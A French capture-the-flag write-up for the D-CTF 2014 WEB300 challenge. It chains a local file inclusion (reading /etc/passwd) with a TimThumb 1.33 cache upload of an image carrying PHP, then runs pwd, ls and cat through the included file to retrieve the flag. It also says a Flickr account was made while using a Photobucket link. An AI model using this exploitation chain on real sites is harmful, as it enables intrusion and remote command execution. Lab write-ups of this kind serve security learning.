==== D-CTF 2014 Qualifications : WEB300 ====
On repère une LFI :
http://10.13.37.13/?page=/etc/passwd
En regardant la source de la page on constate que les images sont chargées via un script PHP nommé ''tt.php''.\\
En cherchant un peu on se rend compte qu'il s'agit de ''TimThumb 1.33''.\\
Une petite recherche pour trouver un exploit : http://www.exploit-db.com/exploits/17602/\\
Mais il est dit pour ce sploitz : "Version 1.33 did not save the cache file as .php".\\
Ok on note ça et on s'en occupe après ;)
On exploit donc ''TimThumb'' afin d'upload une image contenant un shell PHP.\\
Pour ce faire il faut savoir que seulement quelques domaines sont autorisés, les voici : \\
'''flickr.com','picasa.com','blogger.com','wordpress.com','img.youtube.com','upload.wikimedia.org','photobucket.com'''
Je prends une image et j'y ajoute ce bout de PHP en fin de fichier :
Je me crée alors un compte flickr afin d'y déposer mon image.\\
Je récupère le lien, disons
http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png
Maintenant il faut upload cette image, ça se fait via cette URL : \\
http://10.13.37.13/tt?src=http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png
Le lien créé pour accéder en direct à notre image fraichement envoyée sera le suivant :
http://10.13.37.13/cache/external_c16158604ce9d16fa83955d4fbd4ff39
où
c16158604ce9d16fa83955d4fbd4ff39 == md5(http://i1376.photobucket.com/albums/ah23/dctf-test/bg_123456789.png)
Rappelons-nous de la LFI rencontré au début, nous allons l'utiliser pour faire exécuter le PHP inséré dans l'image :
http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=pwd
Hop on voit bien le chemin d'accès qui s'affiche, donc notre PHP est bien exécuté.
Listons le répertoire :
http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=ls -alh
nous donne :
drwxr-xr-x 6 root root 4.0K Oct 12 12:36 .
drwxr-xr-x 3 root root 4.0K Oct 12 12:35 ..
-rw-r--r-- 1 root root 12 Oct 12 12:09 575b3f3f5318b2afbfe91ed860a4b10c.txt
drwxrwxrwx 2 root root 60K Oct 18 19:17 cache
-rw-r--r-- 1 root root 2.7K Oct 12 12:08 contact.html
drwxr-xr-x 2 root root 4.0K Aug 29 12:19 css
-rw-r--r-- 1 root root 2.9K Oct 12 12:04 home.html
drwxr-xr-x 2 root root 4.0K Aug 29 12:19 images
-rw-r--r-- 1 root root 180 Oct 12 12:03 index.php
drwxr-xr-x 2 root root 4.0K Aug 29 12:19 js
-rw-r--r-- 1 root root 21K Jul 31 2011 tt.php
Tiens tiens, regardons ce qui se trouve dans le fichier ''575b3f3f5318b2afbfe91ed860a4b10c.txt'' :
http://10.13.37.13/?page=cache/external_c16158604ce9d16fa83955d4fbd4ff39&c=cat 575b3f3f5318b2afbfe91ed860a4b10c.txt
nous donne :
johnnybravo
Voilà, le flag est ''johnnybravo''.
----
Par **Krach** //(contact{at}krach{dot}me)//
----